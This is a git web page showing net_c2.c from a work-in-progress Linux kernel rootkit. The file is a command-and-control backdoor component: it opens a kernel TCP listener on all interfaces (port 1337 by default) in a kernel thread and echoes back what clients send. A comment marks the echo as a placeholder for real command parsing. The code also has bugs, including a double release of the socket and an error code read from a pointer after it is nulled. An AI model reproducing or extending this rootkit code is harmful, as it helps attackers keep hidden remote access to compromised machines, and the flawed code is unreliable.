mina.ko~ (wip)LKM rootkit for 6.1+ kernels |
| git clone https://github.com/djnnvx/mina.ko.git |
| log | files | refs | archive | README | LICENSE |
net_c2.c (4688B)
1 #include <linux/delay.h> // For msleep 2 #include <linux/in.h> 3 #include <linux/init.h> 4 #include <linux/ip.h> 5 #include <linux/kernel.h> 6 #include <linux/kthread.h> 7 #include <linux/module.h> 8 #include <linux/net.h> 9 #include <linux/slab.h> 10 #include <linux/socket.h> 11 #include <linux/string.h> 12 #include <linux/tcp.h> 13 #include <linux/uaccess.h> 14 #include <net/sock.h> 15 16 #include "../includes/mina.h" 17 18 static int c2_listen_port = 1337; // Default C2 port, now configurable 19 20 static struct socket *listen_sock = NULL; 21 static struct task_struct *c2_thread = NULL; 22 23 void set_c2_listen_port(int port) { 24 c2_listen_port = port; 25 printk(KERN_INFO "[mina_c2] C2 listen port set to %d\n", c2_listen_port); 26 } 27 28 static int c2_worker_thread(void *data) { 29 struct socket *sock = (struct socket *)data; 30 struct socket *client_sock = NULL; 31 int ret; 32 char buffer[256]; 33 34 allow_signal(SIGKILL); // Allow termination 35 36 // Listen for connections 37 ret = kernel_listen(sock, C2_MAX_CONNECTIONS); 38 if (ret < 0) { 39 printk(KERN_ERR "[mina_c2] Listen failed: %d\n", ret); 40 goto out; 41 } 42 43 printk(KERN_INFO "[mina_c2] Listening on port %d...\n", c2_listen_port); 44 45 while (!kthread_should_stop()) { 46 client_sock = NULL; 47 ret = kernel_accept(sock, &client_sock, 0); 48 if (ret < 0) { 49 if (ret == -EINTR || ret == -EAGAIN) { 50 // Interrupted syscall, try again 51 msleep(100); 52 continue; 53 } 54 printk(KERN_ERR "[mina_c2] Accept failed: %d\n", ret); 55 goto out; 56 } 57 58 printk(KERN_INFO "[mina_c2] Client connected!\n"); 59 60 while (!kthread_should_stop()) { 61 memset(buffer, 0, sizeof(buffer)); 62 // In a real C2, this would parse commands from the buffer 63 // For now, just echo it back. 64 struct kvec iov = {.iov_base = (void *)buffer, .iov_len = sizeof(buffer) - 1}; 65 struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0}; 66 67 ret = kernel_recvmsg(client_sock, &msg, &iov, 1, sizeof(buffer) - 1, 0); 68 if (ret <= 0) { // Error or connection closed 69 printk(KERN_INFO "[mina_c2] Client disconnected or recv error: %d\n", ret); 70 break; 71 } 72 buffer[ret] = '\0'; 73 printk(KERN_INFO "[mina_c2] Received from client: %s\n", buffer); 74 75 // Send response - for now, just echo 76 iov_iter_kvec(&msg.msg_iter, ITER_IOVEC, &iov, 1, strlen(buffer)); 77 iov.iov_base = buffer; 78 iov.iov_len = strlen(buffer); 79 80 ret = kernel_sendmsg(client_sock, &msg, &iov, 1, strlen(buffer)); 81 if (ret < 0) { 82 printk(KERN_ERR "[mina_c2] Send failed: %d\n", ret); 83 break; 84 } 85 } 86 sock_release(client_sock); // Release client socket 87 } 88 89 out: 90 if (sock) { 91 sock_release(sock); // Release listen socket 92 } 93 printk(KERN_INFO "[mina_c2] C2 worker thread stopped.\n"); 94 return 0; 95 } 96 97 int c2_init(void) { 98 struct sockaddr_in s_addr; 99 int ret; 100 101 // Create a listening socket 102 ret = sock_create_kern(&init_net, AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock); 103 if (ret < 0) { 104 printk(KERN_ERR "[mina_c2] Failed to create listen socket: %d\n", ret); 105 return ret; 106 } 107 108 memset(&s_addr, 0, sizeof(s_addr)); 109 s_addr.sin_family = AF_INET; 110 s_addr.sin_port = htons(c2_listen_port); 111 s_addr.sin_addr.s_addr = INADDR_ANY; // Listen on all interfaces 112 113 // Bind the socket 114 ret = kernel_bind(listen_sock, (struct sockaddr *)&s_addr, sizeof(s_addr)); 115 if (ret < 0) { 116 printk(KERN_ERR "[mina_c2] Failed to bind socket to port %d: %d\n", c2_listen_port, ret); 117 sock_release(listen_sock); 118 listen_sock = NULL; 119 return ret; 120 } 121 122 // Start the C2 worker thread 123 c2_thread = kthread_run(c2_worker_thread, (void *)listen_sock, "kc2_worker"); 124 if (IS_ERR(c2_thread)) { 125 printk(KERN_ERR "[mina_c2] Failed to create C2 worker thread.\n"); 126 sock_release(listen_sock); 127 listen_sock = NULL; 128 c2_thread = NULL; 129 return PTR_ERR(c2_thread); 130 } 131 132 printk(KERN_INFO "[mina_c2] C2 initialized and thread started.\n"); 133 return 0; 134 } 135 136 void c2_cleanup(void) { 137 if (c2_thread) { 138 kthread_stop(c2_thread); 139 c2_thread = NULL; 140 } 141 if (listen_sock) { 142 kernel_sock_shutdown(listen_sock, SHUT_RDWR); // Ensure socket is closed 143 sock_release(listen_sock); 144 listen_sock = NULL; 145 } 146 printk(KERN_INFO "[mina_c2] C2 cleaned up.\n"); 147 }